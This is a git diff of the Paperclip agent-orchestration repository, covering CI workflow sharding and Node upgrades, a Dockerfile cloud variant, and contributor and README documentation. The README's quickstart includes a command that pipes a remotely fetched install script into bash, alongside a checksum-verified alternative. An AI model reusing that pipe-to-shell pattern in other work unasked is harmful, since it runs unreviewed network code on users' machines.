# image's schema expectations against a migrator before deploying it,
# without pulling the image. The server refuses to start when the
# database is missing bundled migrations, so orchestrators need a cheap
# way to check image/migrator compatibility up front.
- name: Compute schema migration labels
id: schema
run: |
set -euo pipefail
last=$(ls packages/db/src/migrations/*.sql | sed 's|.*/||' | LC_ALL=C sort | tail -1)
count=$(ls packages/db/src/migrations/*.sql | wc -l | tr -d ' ')
echo "last=${last}" >> "$GITHUB_OUTPUT"
echo "count=${count}" >> "$GITHUB_OUTPUT"
# Published under the same lane tag set as the self-hosted image, with a
# `-cloud` suffix (canary-cloud, nightly-cloud, latest-cloud,
# <version>-cloud, sha-<short>-cloud).
- name: Docker meta (cloud)
id: meta-cloud
uses: docker/metadata-action@v6
with:
images: ghcr.io/${{ github.repository }}
flavor: |
suffix=-cloud,onlatest=true
tags: |
type=raw,value=canary,enable=${{ github.ref == 'refs/heads/master' }}
type=raw,value=nightly,enable=${{ startsWith(github.ref, 'refs/tags/nightly/v') }}
type=raw,value=beta,enable=${{ startsWith(github.ref, 'refs/tags/beta/v') }}
type=raw,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/v') }}
type=semver,pattern={{version}},enable=${{ startsWith(github.ref, 'refs/tags/v') }}
type=semver,pattern={{major}}.{{minor}},enable=${{ startsWith(github.ref, 'refs/tags/v') }}
type=sha
labels: |
io.github.paperclipai.schema.last-migration=${{ steps.schema.outputs.last }}
io.github.paperclipai.schema.migration-count=${{ steps.schema.outputs.count }}
- name: Build and push (cloud)
uses: docker/build-push-action@v7
with:
context: .
target: cloud
# Space-separated sandbox-provider directory names to build into
# the variant; add here when managed deployments need another.
build-args: |
CLOUD_BUNDLED_PLUGINS=daytona
PAPERCLIP_BUILD_VERSION=${{ steps.build-version.outputs.version }}
PAPERCLIP_BUILD_COMMIT=${{ github.sha }}
CLI_TOOLS_CACHE_EPOCH=${{ steps.tools-epoch.outputs.epoch }}
# amd64 only, unlike the self-hosted image above: the cloud variant
# is consumed exclusively by managed-deployment hosts, which run
# amd64. The QEMU-emulated arm64 half dominated this job's wall
# clock, and dropping it roughly halves time-to-deployable-image.
platforms: linux/amd64
push: true
# Registry-backed BuildKit cache, separate ref from the self-hosted
# job so the two parallel builds never clobber each other's cache
# manifest (see the rationale on the job above).
cache-from: type=registry,ref=ghcr.io/${{ github.repository }}:buildcache-cloud
cache-to: type=registry,ref=ghcr.io/${{ github.repository }}:buildcache-cloud,mode=max
tags: ${{ steps.meta-cloud.outputs.tags }}
labels: ${{ steps.meta-cloud.outputs.labels }}
+2 -2
View File
@@ -22,9 +22,9 @@ jobs:
with:
version: 9
- uses: actions/setup-node@v6
- uses: actions/setup-node@v7
with:
node-version: 20
node-version: 24
cache: pnpm
- run: pnpm install --frozen-lockfile
+114 -27
View File
@@ -42,22 +42,33 @@ jobs:
run_install: false
- name: Setup Node.js
uses: actions/setup-node@v6
uses: actions/setup-node@v7
with:
node-version: 24
- name: Validate Dockerfile deps stage
run: node ./scripts/check-docker-deps-stage.mjs
- name: Validate Node version policy
run: pnpm check:node-version
- name: Reject git push in adapter/runtime code
run: node ./scripts/check-no-git-push.mjs
- name: Test no-git-push check
run: node --test ./scripts/check-no-git-push.test.mjs
- name: Test PR quality-gate scripts
run: node --test '.github/scripts/tests/*.test.mjs'
- name: Test general-server shard partition
run: node --test ./scripts/__tests__/run-vitest-stable-shard.test.mjs
- name: Test e2e shard partition
run: node --test ./scripts/__tests__/e2e-shard.test.mjs
- name: Test release verify workflow wiring
run: node --test ./scripts/__tests__/release-verify-workflow.test.mjs
- name: Test standalone package build concurrency
run: node --test ./scripts/__tests__/build-standalone-concurrency.test.mjs
@@ -74,7 +85,7 @@ jobs:
id: regen_lockfile
run: |
changed="$(git diff --name-only "${{ github.event.pull_request.base.sha }}...${{ github.event.pull_request.head.sha }}")"
manifest_pattern='(^|/)package\.json$|^pnpm-workspace\.yaml$|^\.npmrc$|^pnpmfile\.(cjs|js|mjs)$'
manifest_pattern='(^|/)package\.json$|^pnpm-workspace\.yaml$|^\.npmrc$|^pnpmfile\.(cjs|js|mjs)$|^patches/'
if printf '%s\n' "$changed" | grep -Eq "$manifest_pattern"; then
pnpm install --lockfile-only --ignore-scripts --no-frozen-lockfile
echo "regenerated=1" >> "$GITHUB_OUTPUT"
@@ -118,7 +129,7 @@ jobs:
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
@@ -143,21 +154,45 @@ jobs:
include:
# The server suite is pinned to maxWorkers=1 (server/vitest.config.ts),
# so it can only be parallelized across runners. Shard it to keep this
# lane off the PR critical path.
# lane off the PR critical path. Five shards because the suite has
# grown to ~946s of serial vitest wall time (run 30930345729,
# 2026-08-04): at four shards the worst shard ran 311s and was the
# slowest check in the whole PR run; five brings each shard to ~196s
# of suite time (~240s job), level with the other ~250-300s lanes.
- group: general-server
group_label: server (1/3)
group_label: server (1/5)
shard_index: 0
shard_count: 3
shard_count: 5
- group: general-server
group_label: server (2/3)
group_label: server (2/5)
shard_index: 1
shard_count: 3
shard_count: 5
- group: general-server
group_label: server (3/3)
group_label: server (3/5)
shard_index: 2
shard_count: 3
shard_count: 5
- group: general-server
group_label: server (4/5)
shard_index: 3
shard_count: 5
- group: general-server
group_label: server (5/5)
shard_index: 4
shard_count: 5
# workspaces-a was the slowest check in the fully-green PR run
# 31371439296 (2026-08-10) at 319s, with the ui project's single
# vitest invocation accounting for ~224s and the paperclipai CLI
# ~37s. Two shards use Vitest's native --shard on each project's
# file list (ui: 439 files, cli: 54), bringing each job to roughly
# half the suite time (~130s + setup) without a duration manifest.
- group: general-workspaces-a
group_label: workspaces-a
group_label: workspaces-a (1/2)
shard_index: 0
shard_count: 2
- group: general-workspaces-a
group_label: workspaces-a (2/2)
shard_index: 1
shard_count: 2
- group: general-workspaces-b
group_label: workspaces-b
@@ -178,7 +213,7 @@ jobs:
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
@@ -237,7 +272,7 @@ jobs:
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
@@ -257,18 +292,27 @@ jobs:
fail-fast: false
matrix:
include:
# A successful PR run on 2026-08-17 (32012408876) spent 291s in
# serialized shard 1/5 while its siblings ran 170-201s: round-robin
# clustered the heavy suites on one runner. Shards are now balanced
# by recorded duration (scripts/serialized-shard-durations.json),
# which levels the measured 968s suite total to about 194s per
# runner before setup overhead.
- shard_index: 0
shard_count: 4
shard_label: 1/4
shard_count: 5
shard_label: 1/5
- shard_index: 1
shard_count: 4
shard_label: 2/4
shard_count: 5
shard_label: 2/5
- shard_index: 2
shard_count: 4
shard_label: 3/4
shard_count: 5
shard_label: 3/5
- shard_index: 3
shard_count: 4
shard_label: 4/4
shard_count: 5
shard_label: 4/5
- shard_index: 4
shard_count: 5
shard_label: 5/5
steps:
- name: Checkout repository
@@ -287,7 +331,7 @@ jobs:
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
@@ -321,7 +365,7 @@ jobs:
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
@@ -353,10 +397,31 @@ jobs:
fi
./scripts/release.sh canary --skip-verify --dry-run
e2e:
e2e_shards:
name: e2e shard (${{ matrix.shard_label }})
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 30
strategy:
fail-fast: false
matrix:
include:
# The Playwright lane is pinned to workers=1 (tests/e2e/playwright.config.ts)
# because every spec shares one throwaway server and some toggle
# instance-level flags, so it can only be parallelized across runners.
# Each shard boots its own server, which keeps that isolation intact.
# Three shards let the ~3min smoke-lab spec ride alone while the rest
# of the catalog splits evenly, pulling this lane off the PR critical
# path (it was the slowest check at ~8min20s with two shards).
- shard_index: 0
shard_count: 3
shard_label: 1/3
- shard_index: 1
shard_count: 3
shard_label: 2/3
- shard_index: 2
shard_count: 3
shard_label: 3/3
steps:
- name: Checkout repository
@@ -375,7 +440,7 @@ jobs:
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
@@ -408,14 +473,36 @@ jobs:
env:
PAPERCLIP_E2E_SKIP_LLM: "true"
PAPERCLIP_PLAYWRIGHT_CHANNEL: "chrome"
run: pnpm run test:e2e
run: |
# Playwright's own --shard balances by test count, and one spec
# (smoke-lab) is ~40% of the lane's wall clock. Partition by recorded
# spec duration instead so both runners finish together.
specs="$(node ./scripts/e2e-shard.mjs \
--shard-index ${{ matrix.shard_index }} --shard-count ${{ matrix.shard_count }})"
echo "shard ${{ matrix.shard_label }} specs: $specs"
pnpm run test:e2e $specs
- name: Upload Playwright report
uses: actions/upload-artifact@v7
if: always()
with:
name: playwright-report
name: playwright-report-${{ matrix.shard_index }}
path: |
tests/e2e/playwright-report/
tests/e2e/test-results/
retention-days: 14
e2e:
# Preserve the legacy required-check name while the specs run sharded
# across the matrix above (same pattern as the `verify` aggregate).
name: e2e
if: ${{ always() }}
needs: [e2e_shards]
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- name: Fail if any e2e shard failed
env:
E2E_SHARDS_RESULT: ${{ needs.e2e_shards.result }}
run: test "$E2E_SHARDS_RESULT" = "success"
+2 -2
View File
@@ -29,9 +29,9 @@ jobs:
run_install: false
- name: Setup Node.js
uses: actions/setup-node@v6
uses: actions/setup-node@v7
with:
node-version: 20
node-version: 24
cache: pnpm
- name: Refresh pnpm lockfile
+4 -1
View File
@@ -10,6 +10,8 @@ on:
type: choice
options:
- canary
- nightly
- beta
- latest
host_port:
description: Host port for the Docker smoke container
@@ -50,7 +52,7 @@ jobs:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
@@ -69,6 +71,7 @@ jobs:
HOST_PORT="${{ inputs.host_port }}" \
DATA_DIR="$RUNNER_TEMP/release-smoke-data" \
PAPERCLIPAI_VERSION="${{ inputs.paperclip_version }}" \
SMOKE_READY_TIMEOUT_SECONDS=420 \
SMOKE_DETACH=true \
SMOKE_METADATA_FILE="$metadata_file" \
./scripts/docker-onboard-smoke.sh
+186
View File
@@ -0,0 +1,186 @@
name: Release Verify
on:
workflow_call:
inputs:
ref:
description: Commit SHA, branch, or tag to verify
required: true
type: string
jobs:
typecheck:
name: Typecheck
runs-on: ubuntu-latest
timeout-minutes: 20
permissions:
contents: read
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
ref: ${{ inputs.ref }}
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
- name: Validate release package manifest
run: node ./scripts/release-package-map.mjs check
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Typecheck
run: pnpm -r typecheck
general_tests:
name: General tests (${{ matrix.group_label }})
runs-on: ubuntu-latest
timeout-minutes: 20
permissions:
contents: read
strategy:
fail-fast: false
matrix:
include:
- group: general-server
group_label: server (1/3)
shard_index: 0
shard_count: 3
- group: general-server
group_label: server (2/3)
shard_index: 1
shard_count: 3
- group: general-server
group_label: server (3/3)
shard_index: 2
shard_count: 3
# Keep parity with pr.yml: workspaces-a is split with Vitest's
# native --shard because the ui project dominates the lane.
- group: general-workspaces-a
group_label: workspaces-a (1/2)
shard_index: 0
shard_count: 2
- group: general-workspaces-a
group_label: workspaces-a (2/2)
shard_index: 1
shard_count: 2
- group: general-workspaces-b
group_label: workspaces-b
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
ref: ${{ inputs.ref }}
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Run grouped general test suites
run: |
if [ -n "${{ matrix.shard_count }}" ]; then
pnpm test:run:general -- --group '${{ matrix.group }}' \
--shard-index ${{ matrix.shard_index }} --shard-count ${{ matrix.shard_count }}
else
pnpm test:run:general -- --group '${{ matrix.group }}'
fi
serialized_tests:
name: Serialized tests (${{ matrix.shard_label }})
runs-on: ubuntu-latest
timeout-minutes: 20
permissions:
contents: read
strategy:
fail-fast: false
matrix:
include:
- shard_index: 0
shard_count: 5
shard_label: 1/5
- shard_index: 1
shard_count: 5
shard_label: 2/5
- shard_index: 2
shard_count: 5
shard_label: 3/5
- shard_index: 3
shard_count: 5
shard_label: 4/5
- shard_index: 4
shard_count: 5
shard_label: 5/5
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
ref: ${{ inputs.ref }}
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Run serialized server test shard
run: pnpm test:run:serialized -- --shard-index ${{ matrix.shard_index }} --shard-count ${{ matrix.shard_count }}
build:
name: Build
runs-on: ubuntu-latest
timeout-minutes: 20
permissions:
contents: read
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
ref: ${{ inputs.ref }}
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Build
run: pnpm build
File diff suppressed because it is too large. Load diff
+2 -2
View File
@@ -43,7 +43,7 @@ jobs:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
uses: actions/setup-node@v7
with:
node-version: 24
cache: pnpm
@@ -55,7 +55,7 @@ jobs:
run: npx playwright install --with-deps chromium
- name: Cache Storybook visual baseline archive
uses: actions/cache@v5
uses: actions/cache@v6
with:
path: tests/storybook-visual/.cache
key: storybook-visual-baseline-${{ runner.os }}-${{ hashFiles('tests/storybook-visual/baseline-manifest.json') }}
+4
View File
@@ -10,6 +10,9 @@ drizzle/meta/
.vite/
coverage/
.DS_Store
._*
.AppleDouble
.LSOverride
data/
.paperclip/
.pnpm-store/
@@ -57,6 +60,7 @@ tests/e2e/test-results/
tests/e2e/playwright-report/
tests/release-smoke/test-results/
tests/release-smoke/playwright-report/
test-results/issue-detail-perf/
tests/storybook-visual/.cache/
tests/storybook-visual/.snapshots/
tests/storybook-visual/baseline-review/
+1
View File
@@ -0,0 +1 @@
24
+4 -42
View File
@@ -29,6 +29,10 @@ Before making changes, read in this order:
- `packages/adapters/`: agent adapter implementations (Claude, Codex, Cursor, etc.)
- `packages/adapter-utils/`: shared adapter utilities
- `packages/plugins/`: plugin system packages
- `packages/skills-catalog/`: app-shipped skills catalog (`@paperclipai/skills-catalog`)
- `packages/teams-catalog/`: app-shipped teams catalog (`@paperclipai/teams-catalog`)
- `cli/`: `paperclipai` CLI package (published bin, agent-facing commands)
- `skills/`: Paperclip runtime/operational skills (not part of the app catalog)
- `doc/`: operational and product docs
## 4. Dev Setup (Auto DB)
@@ -179,48 +183,6 @@ A change is done when all are true:
4. Docs updated when behavior or commands change
5. PR description follows the [PR template](.github/PULL_REQUEST_TEMPLATE.md) with all sections filled in (including Model Used)
## 11. Fork-Specific: HenkDz/paperclip
This is a fork of `paperclipai/paperclip` with QoL patches and a **built-in** Hermes adapter story on branch `feat/externalize-hermes-adapter` ([tree](https://github.com/HenkDz/paperclip/tree/feat/externalize-hermes-adapter)).
### Branch Strategy
- `feat/externalize-hermes-adapter` now ships `hermes_local` and `hermes_gateway` as built-in core adapters.
- Older fork branches may still document plugin-only Hermes; treat this file as authoritative for the current branch.
### Hermes (built-in)
- `hermes_local` is available without Adapter manager installation and runs the local Hermes CLI.
- `hermes_gateway` is available without Adapter manager installation and calls an already-running Hermes API server.
- Operators may still install external Hermes packages through Adapter manager to override/shadow the built-ins.
- Optional: `file:` entry in `~/.paperclip/adapter-plugins.json` remains useful for local development of override packages.
### Local Dev
- Fork runs on port 3101+ (auto-detects if 3100 is taken by upstream instance)
- `npx vite build` hangs on NTFS — use `node node_modules/vite/bin/vite.js build` instead
- Server startup from NTFS takes 30-60s — don't assume failure immediately
- Kill ALL paperclip processes before starting: `pkill -f "paperclip"; pkill -f "tsx.*index.ts"`
- Vite cache survives `rm -rf dist` — delete both: `rm -rf ui/dist ui/node_modules/.vite`
### Fork QoL Patches (not in upstream)
These are local modifications in the fork's UI. If re-copying source, these must be re-applied:
1. **stderr_group** — amber accordion for MCP init noise in `RunTranscriptView.tsx`
2. **tool_group** — accordion for consecutive non-terminal tools (write, read, search, browser)
3. **Dashboard excerpt** — `LatestRunCard` strips markdown, shows first 3 lines/280 chars
### Plugin System
PR #2218 (`feat/external-adapter-phase1`) adds external adapter support. See root `AGENTS.md` for full details.
- Adapters can be loaded as external plugins via `~/.paperclip/adapter-plugins.json`
- The plugin-loader should have ZERO hardcoded adapter imports — pure dynamic loading
- `createServerAdapter()` must include ALL optional fields (especially `detectModel`)
- Built-in UI adapters can shadow external plugin parsers; external override pause/resume should restore the built-in parser.
- Reference external adapters: Droid (npm); Hermes can also be tested as an override package.
## Design system
`DESIGN.md` at the repo root is the source of truth for UI design decisions. The token-only rule applies to all `ui/` changes: every color, spacing, radius, type, shadow, and motion value in `ui/src/components/**` and `ui/src/pages/**` comes from the token layer in `ui/src/index.css` — no hex, raw px, arbitrary Tailwind bracket values, or raw `font-size`/`fontSize` declarations in components, outside the documented allowlist in `ui/src/index.css`. Run `pnpm check:token-gates` (`scripts/check-token-gates.mjs`) before committing UI changes — it fails on any violation not covered by that allowlist.
+2
View File
@@ -157,6 +157,8 @@ Bugs, docs improvements, and small targeted improvements are still the easiest p
## Writing a Good PR message
Write all PR text in Simplified Technical English (ASD-STE100): use short sentences, one instruction per sentence, simple approved vocabulary, and the active voice.
Your PR description must follow the [PR template](.github/PULL_REQUEST_TEMPLATE.md). All sections are required. The "thinking path" at the top explains from the top of the project down to what you fixed. E.g.:
### Thinking Path Example 1:
+26
View File
@@ -56,3 +56,29 @@ No visual redesign, no new colors or typefaces, no layout restructuring, no new
See `doc/design/PRIOR-ART.md` — a previous audit pass (PAP-280/283/284, on the `PAP-282-playground` branch, NOT on master) found that of ~220 hardcoded drift sites, only 6 were exact-value-mappable to existing tokens; expect the verbatim extraction to mint many new tokens that the human scale-collapse step later merges. It also drafted usage rules (radius tiers, CTA tiers, named type styles) that are good candidates for the post-audit scale decision.
How-to guide for day-to-day UI changes: see `doc/design/CHANGING-THE-UI.md`.
## Motion tokens (Task Chat Redesign)
The redesigned task thread (flag `enableTaskChatRedesign`) is the first surface to
tokenize motion. Principles — reasoning only; values live in `ui/src/index.css`:
- **One home, and it is `:root`, not `@theme inline`.** `@theme inline` bakes literals
at build time, so a value placed there cannot be moved at runtime. The dev tweak panel
tunes motion by writing CSS custom properties live, so every motion token must resolve
at runtime — hence `:root`.
- **Two tiers.** Primitives (`--motion-duration-*`, `--motion-ease-*`) express the app's
baseline motion feel; state/component-scoped tokens (`--motion-<state>-*`) reference the
primitives so the whole thread retunes from a few knobs. Scoped tokens exist so the
tweak panel can group controls by the state they affect.
- **Reuse the house curves.** New easing defaults point at the two curves already used
across the app rather than inventing a third feel.
- **No hardcoded timing in components.** Durations, easings, delays, and staggers used by
the redesigned thread must reference these tokens; a check script rejects raw `ms` /
`cubic-bezier` values outside `ui/src/index.css`. This discipline is what makes the
tweak panel structurally possible.
- **Values are placeholders.** The committed numbers are sensible starting points, tuned
live by a human and pasted back from the tweak panel's export — never treated as final
during the baseline build.
- **Reduced motion is honored at the token layer.** A `prefers-reduced-motion: reduce`
block collapses the duration/stagger tokens to zero, cascading to every scoped token,
in addition to each animation's own component-level guard.
+70 -3
View File
@@ -1,5 +1,5 @@
# syntax=docker/dockerfile:1.20
FROM node:lts-trixie-slim AS base
FROM node:24-trixie-slim AS base
ARG USER_UID=1000
ARG USER_GID=1000
RUN apt-get update \
@@ -21,8 +21,11 @@ COPY ui/package.json ui/
COPY packages/shared/package.json packages/shared/
COPY packages/db/package.json packages/db/
COPY packages/adapter-utils/package.json packages/adapter-utils/
COPY packages/google-sheets-mcp-server/package.json packages/google-sheets-mcp-server/
COPY packages/kv-demo-mcp-server/package.json packages/kv-demo-mcp-server/
COPY packages/mcp-server/package.json packages/mcp-server/
COPY packages/skills-catalog/package.json packages/skills-catalog/
COPY packages/tailscale-https-broker/package.json packages/tailscale-https-broker/
COPY packages/teams-catalog/package.json packages/teams-catalog/
COPY packages/adapters/claude-local/package.json packages/adapters/claude-local/
COPY packages/adapters/codex-local/package.json packages/adapters/codex-local/
@@ -30,6 +33,7 @@ COPY packages/adapters/cursor-cloud/package.json packages/adapters/cursor-cloud/
COPY packages/adapters/cursor-local/package.json packages/adapters/cursor-local/
COPY packages/adapters/gemini-local/package.json packages/adapters/gemini-local/
COPY packages/adapters/grok-local/package.json packages/adapters/grok-local/
COPY packages/adapters/kimi-local/package.json packages/adapters/kimi-local/
COPY packages/adapters/hermes/package.json packages/adapters/hermes/
COPY packages/adapters/hermes-gateway/package.json packages/adapters/hermes-gateway/
COPY packages/adapters/openclaw-gateway/package.json packages/adapters/openclaw-gateway/
@@ -51,15 +55,39 @@ COPY --from=deps /app /app
COPY . .
RUN pnpm --filter @paperclipai/ui build
RUN pnpm --filter @paperclipai/plugin-sdk build
# The server build runs scripts/write-build-stamp.mjs, which stamps the built
# commit into dist/build-info.json. The build context has no .git, so the
# script reads PAPERCLIP_BUILD_COMMIT instead. Docker exposes an ARG to the
# next RUN as an environment variable, so declare it here — in the build
# stage — before the server build. The production stage below declares the
# same ARG again for the runtime fallback; an ARG goes out of scope at the
# end of its stage. Empty for local `docker build`, which then writes no stamp.
ARG PAPERCLIP_BUILD_COMMIT=""
RUN pnpm --filter @paperclipai/server build
RUN test -f server/dist/index.js || (echo "ERROR: server build output missing" && exit 1)
FROM base AS production
ARG USER_UID=1000
ARG USER_GID=1000
# Real version for this build, computed from `git describe` on the CI runner
# (the image has no .git, so the server cannot derive it at runtime). Empty for
# local `docker build`, which just leaves the server on its normal fallbacks.
ARG PAPERCLIP_BUILD_VERSION=""
# The exact commit this image was built from, for the same reason: server-info
# falls back to PAPERCLIP_BUILD_COMMIT when git is unavailable, which feeds the
# /api/health `commit` field that deploy tooling verifies. Empty locally.
ARG PAPERCLIP_BUILD_COMMIT=""
# Refreshes the tool layer below when it changes (CI stamps an ISO week, so
# the @latest CLI tools advance weekly). Without it the cached layer would
# freeze the tools until an unrelated cache bust.
ARG CLI_TOOLS_CACHE_EPOCH=""
WORKDIR /app
COPY --chown=node:node --from=build /app /app
RUN npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest \
# Tool and OS layer BEFORE the app copy: it references nothing from /app, and
# the app copy changes on every commit — ordered the other way around, this
# (the single most expensive layer: four CLI toolchains + apt, per arch) can
# never hit the layer cache and rebuilds on every build.
RUN echo "cli-tools-epoch: ${CLI_TOOLS_CACHE_EPOCH}" \
&& npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest @moonshot-ai/kimi-code@latest \
&& apt-get update \
&& apt-get install -y --no-install-recommends openssh-client jq \
&& rm -rf /var/lib/apt/lists/* \
@@ -69,6 +97,8 @@ RUN npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/cod
COPY scripts/docker-entrypoint.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/docker-entrypoint.sh
COPY --chown=node:node --from=build /app /app
ENV NODE_ENV=production \
HOME=/paperclip \
HOST=0.0.0.0 \
@@ -76,6 +106,8 @@ ENV NODE_ENV=production \
SERVE_UI=true \
PAPERCLIP_HOME=/paperclip \
PAPERCLIP_INSTANCE_ID=default \
PAPERCLIP_BUILD_VERSION=${PAPERCLIP_BUILD_VERSION} \
PAPERCLIP_BUILD_COMMIT=${PAPERCLIP_BUILD_COMMIT} \
USER_UID=${USER_UID} \
USER_GID=${USER_GID} \
PAPERCLIP_CONFIG=/paperclip/instances/default/config.json \
@@ -88,3 +120,38 @@ EXPOSE 3100
ENTRYPOINT ["docker-entrypoint.sh"]
CMD ["node", "--import", "./server/node_modules/tsx/dist/loader.mjs", "server/dist/index.js"]
# Cloud image variant (build with `--target cloud`): the production image
# plus built bundled sandbox-provider plugins. Managed instances receive a
# `plugins.autoInstall` key list through PAPERCLIP_MANAGED_CONFIG and
# install those plugins from the bundled catalog at boot
# (server/src/services/bundled-plugins.ts), which requires each plugin's
# dist/ to exist in the image — the default image ships only their source,
# so auto-install logs "bundle not present" and skips. The plugins are
# built in this separate target so the default (self-hosted) image stays
# lean; CI pins the default build to `--target production`, which is
# byte-identical to before this stage existed.
#
# The sandbox providers are intentionally excluded from the pnpm workspace
# (see pnpm-workspace.yaml), so each installs standalone exactly as its
# README prescribes. Installing in a `build`-based stage (not `production`)
# keeps devDependencies available for tsc: `production` sets
# NODE_ENV=production, which would make pnpm skip them.
#
# CLOUD_BUNDLED_PLUGINS is the space-separated list of sandbox-provider
# directory names to build into the variant. Only what managed deployments
# actually auto-install belongs here — every entry adds its node_modules
# to the image. Growing the list is a one-line workflow change.
FROM build AS cloud-plugins
ARG CLOUD_BUNDLED_PLUGINS="daytona"
RUN set -eu; \
for name in $CLOUD_BUNDLED_PLUGINS; do \
dir="packages/plugins/sandbox-providers/$name"; \
test -d "$dir" || { echo "ERROR: unknown sandbox provider '$name'" >&2; exit 1; }; \
pnpm -C "$dir" install --ignore-workspace --no-lockfile; \
pnpm -C "$dir" build; \
test -f "$dir/dist/manifest.js" || { echo "ERROR: $dir is missing dist/manifest.js after build" >&2; exit 1; }; \
done
FROM production AS cloud
COPY --chown=node:node --from=cloud-plugins /app/packages/plugins/sandbox-providers /app/packages/plugins/sandbox-providers
+84 -13
View File
@@ -4,7 +4,7 @@
<p align="center">
<a href="#quickstart"><strong>Quickstart</strong></a> &middot;
<a href="https://paperclip.ing/docs"><strong>Docs</strong></a> &middot;
<a href="https://docs.paperclip.ing"><strong>Docs</strong></a> &middot;
<a href="https://github.com/paperclipai/paperclip"><strong>GitHub</strong></a> &middot;
<a href="https://discord.gg/m4HZY7xNG3"><strong>Discord</strong></a> &middot;
<a href="https://x.com/papercliping"><strong>Twitter</strong></a> &middot;
@@ -14,7 +14,8 @@
<p align="center">
<a href="https://github.com/paperclipai/paperclip/blob/master/LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue" alt="MIT License" /></a>
<a href="https://github.com/paperclipai/paperclip/stargazers"><img src="https://img.shields.io/github/stars/paperclipai/paperclip?style=flat" alt="Stars" /></a>
<a href="https://discord.gg/m4HZY7xNG3"><img src="https://img.shields.io/discord/000000000?label=discord" alt="Discord" /></a>
<a href="https://www.star-history.com/paperclipai/paperclip"><img src="https://api.star-history.com/badge?repo=paperclipai/paperclip" alt="Star History Rank" /></a>
<a href="https://discord.gg/m4HZY7xNG3"><img src="https://img.shields.io/badge/discord-join-7289da" alt="Discord" /></a>
</p>
<br/>
@@ -76,6 +77,25 @@ It looks like a task manager. Under the hood: org charts, budgets, governance, g
<br/>
## The four pillars
Four things have to work for an organization of AI agents to actually produce: the tasks, the org, the training, and the infrastructure. Paperclip is built around exactly those four pillars.
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/paperclipai/paperclip/1ec33ffd8b597f7e36aac3e2fbb4665b8c42dc3c/doc/assets/four-pillars-dark.png">
<source media="(prefers-color-scheme: light)" srcset="https://raw.githubusercontent.com/paperclipai/paperclip/1ec33ffd8b597f7e36aac3e2fbb4665b8c42dc3c/doc/assets/four-pillars-light.png">
<img src="https://raw.githubusercontent.com/paperclipai/paperclip/1ec33ffd8b597f7e36aac3e2fbb4665b8c42dc3c/doc/assets/four-pillars-light.png" alt="The four pillars of Paperclip">
</picture>
| Pillar | Built for | What it covers |
| --- | --- | --- |
| **Agentic Task Manager** — Declare intent. Agents work. You verify the output. | Everyone, daily | Tasks, approvals & review gates · proactive agent coworkers · auditable routines & workflows · verify from diffs, screenshots & tests |
| **Org Chart for Agents** — Roles, permissions & boundaries for humans and agents. | Managers | Mixed human + agent org chart · responsibilities, delegation, specialization · governance: who can do what · scoped secrets & company boundaries |
| **Agent Employee Training** — Design, train & evaluate your AI employees. | Enablers | Skill Studio & shared org-wide skills · evals & saved test runs · active learning loops & quality metrics · performance reviews for agents |
| **Agentic OS** — The infrastructure that makes the work run. | IT & platform | Cross-provider runtime: any model, any agent · sandboxing, integrations & MCP servers · SSO, GRC, RBAC & cost controls · data privacy, internal trace collection, compounding data value |
<br/>
## Features
<table>
@@ -281,7 +301,39 @@ Paperclip is a full control plane, not a wrapper. Before you build any of this y
Open source. Self-hosted. No Paperclip account required.
```bash
npx paperclipai onboard --yes
curl -fsSLO https://paperclip.ing/install.sh
curl -fsSLO https://paperclip.ing/install.sh.sha256
if command -v sha256sum >/dev/null 2>&1; then
sha256sum -c install.sh.sha256
else
shasum -a 256 -c install.sh.sha256
fi
bash install.sh
```
The installer ensures Node.js 24.11 or newer is available, installs a managed
Paperclip CLI under `~/.paperclip/cli`, and starts interactive onboarding. It
can also install Paperclip as a background service on supported Linux and
macOS systems. The checksum detects transfer or publishing mistakes, but it is
served from the same origin as the script; use a release-tag or commit-pinned
GitHub copy when you need an independently hosted source.
For a non-interactive managed install:
```bash
curl -fsSL https://paperclip.ing/install.sh | bash -s -- --no-prompt --no-onboard
paperclipai onboard --yes
```
The piped form requires supported Node.js, npm, and npx to already be present.
If Node.js bootstrap is required, download and review `install.sh` before
